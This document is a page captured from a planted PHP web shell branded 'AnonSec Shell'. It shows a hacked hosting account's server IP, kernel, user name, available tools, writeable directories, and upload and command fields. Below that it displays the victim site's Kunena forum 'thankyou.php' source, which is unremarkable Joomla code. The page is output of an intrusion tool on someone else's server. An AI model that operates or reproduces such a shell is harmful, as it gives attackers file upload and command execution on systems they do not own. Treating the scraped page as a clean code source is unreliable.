AnonSec Shell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.193
Web Server : Apache
System : Linux webm006.cluster103.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : awebpaca ( 35430)
PHP Version : 8.5.0
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/a/w/e/awebpaca/blog/libraries/kunena/forum/message/thankyou/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/a/w/e/awebpaca/blog/libraries/kunena/forum/message/thankyou/thankyou.php
<?php
/**
 * Kunena Component
 * @package Kunena.Framework
 * @subpackage Forum.Message.Thankyou
 *
 * @copyright (C) 2008 - 2018 Kunena Team. All rights reserved.
 * @license https://www.gnu.org/copyleft/gpl.html GNU/GPL
 * @link https://www.kunena.org
 **/
defined('_JEXEC') or die();

/**
 * Class KunenaForumMessageThankyou
 *
 * @property int $postid
 * @property int $userid
 * @property int $targetuserid
 * @property string $time
 */
class KunenaForumMessageThankyou extends JObject
{
	/**
	 * @var int
	 */
	protected $id = 0;
	protected $users = array();

	/**
	 * @param   int $id
	 *
	 * @internal
	 */
	public function __construct($id)
	{
		$this->id = (int) $id;
	}

	/**
	 * @param   null $identifier
	 * @param   bool $reload
	 *
	 * @return KunenaForumMessageThankyou
	 */
	static public function getInstance($identifier = null, $reload = false)
	{
		return KunenaForumMessageThankyouHelper::get($identifier, $reload);
	}

	/**
	 * Check if the user has already said thank you.
	 *
	 * @param   int $userid
	 *
	 * @return boolean
	 */
	public function exists($userid)
	{
		return isset($this->users[(int) $userid]);
	}

	/**
	 * @param   int $userid
	 * @param   string $time
	 */
	public function _add($userid, $time)
	{
		$this->users[$userid] = $time;
	}

	/**
	 * Save thank you.
	 *
	 * @param   mixed $user
	 *
	 * @return boolean
	 */
	public function save($user)
	{
		$user = KunenaFactory::getUser($user);
		$message = KunenaForumMessageHelper::get($this->id);

		if (!$user->exists())
		{
			$this->setError(JText::_('COM_KUNENA_THANKYOU_LOGIN'));
			return false;
		}

		if ($user->userid == $message->userid)
		{
			$this->setError(JText::_('COM_KUNENA_THANKYOU_NOT_YOURSELF'));
			return false;
		}

		if ($this->exists($user->userid))
		{
			$this->setError(JText::_('COM_KUNENA_THANKYOU_ALLREADY'));
			return false;
		}

		if ($user->isBanned())
		{
			$this->setError(JText::_('COM_KUNENA_POST_ERROR_USER_BANNED_NOACCESS'));

			return false;
		}

		$db = JFactory::getDBO();
		$time = JFactory::getDate();
		$query = "INSERT INTO #__kunena_thankyou
			SET postid={$db->quote($this->id)} , userid={$db->quote($user->userid)} , targetuserid={$db->quote($message->userid)}, time={$db->quote($time->toSql())}";
		$db->setQuery($query);
		$db->execute();

		// Check for an error message.
		if ($db->getErrorNum())
		{
			$this->setError($db->getErrorMsg());
			return false;
		}

		$this->_savethankyou($message);

		return true;
	}

	/**
	 * @param   KunenaForumMessage $message
	 *
	 * @return boolean
	 */
	protected function _savethankyou(KunenaForumMessage $message)
	{
		$db = JFactory::getDBO();
		$query = "UPDATE #__kunena_users
				SET thankyou=thankyou+1 WHERE userid={$db->quote($message->userid)}";
		$db->setQuery($query);
		$db->execute();

		// Check for an error message.
		if ($db->getErrorNum())
		{
			$this->setError($db->getErrorMsg());
			return false;
		}

		return true;
	}

	/**
	 * Get all users who have given thank you to this message.
	 * @return array List of userid=>time.
	 */
	public function getList()
	{
		return $this->users;
	}

	/**
	 * Detele thank you from the database.
	 *
	 * @param   mixed $user
	 *
	 * @return boolean
	 */
	public function delete($user)
	{
		$user = KunenaFactory::getUser($user);
		$message = KunenaForumMessageHelper::get($this->id);

		if (!$user->exists())
		{
			$this->setError(JText::_('COM_KUNENA_THANKYOU_LOGIN'));
			return false;
		}

		if (!$this->exists($user->userid))
		{
			$this->setError(JText::_('COM_KUNENA_THANKYOU_NOT_PRESENT'));
			return false;
		}

		$db = JFactory::getDBO();
		$query = "DELETE FROM #__kunena_thankyou WHERE postid={$db->quote($this->id)} AND userid={$db->quote($user->userid)}";
		$db->setQuery($query);
		$db->execute();

		$query = "UPDATE #__kunena_users SET thankyou=thankyou-1 WHERE userid={$db->quote($message->userid)}";
		$db->setQuery($query);
		$db->execute();

		// Check for an error message.
		if ($db->getErrorNum())
		{
			$this->setError($db->getErrorMsg());
			return false;
		}

		return true;
	}
}

Anon7 - 2022
AnonSec Team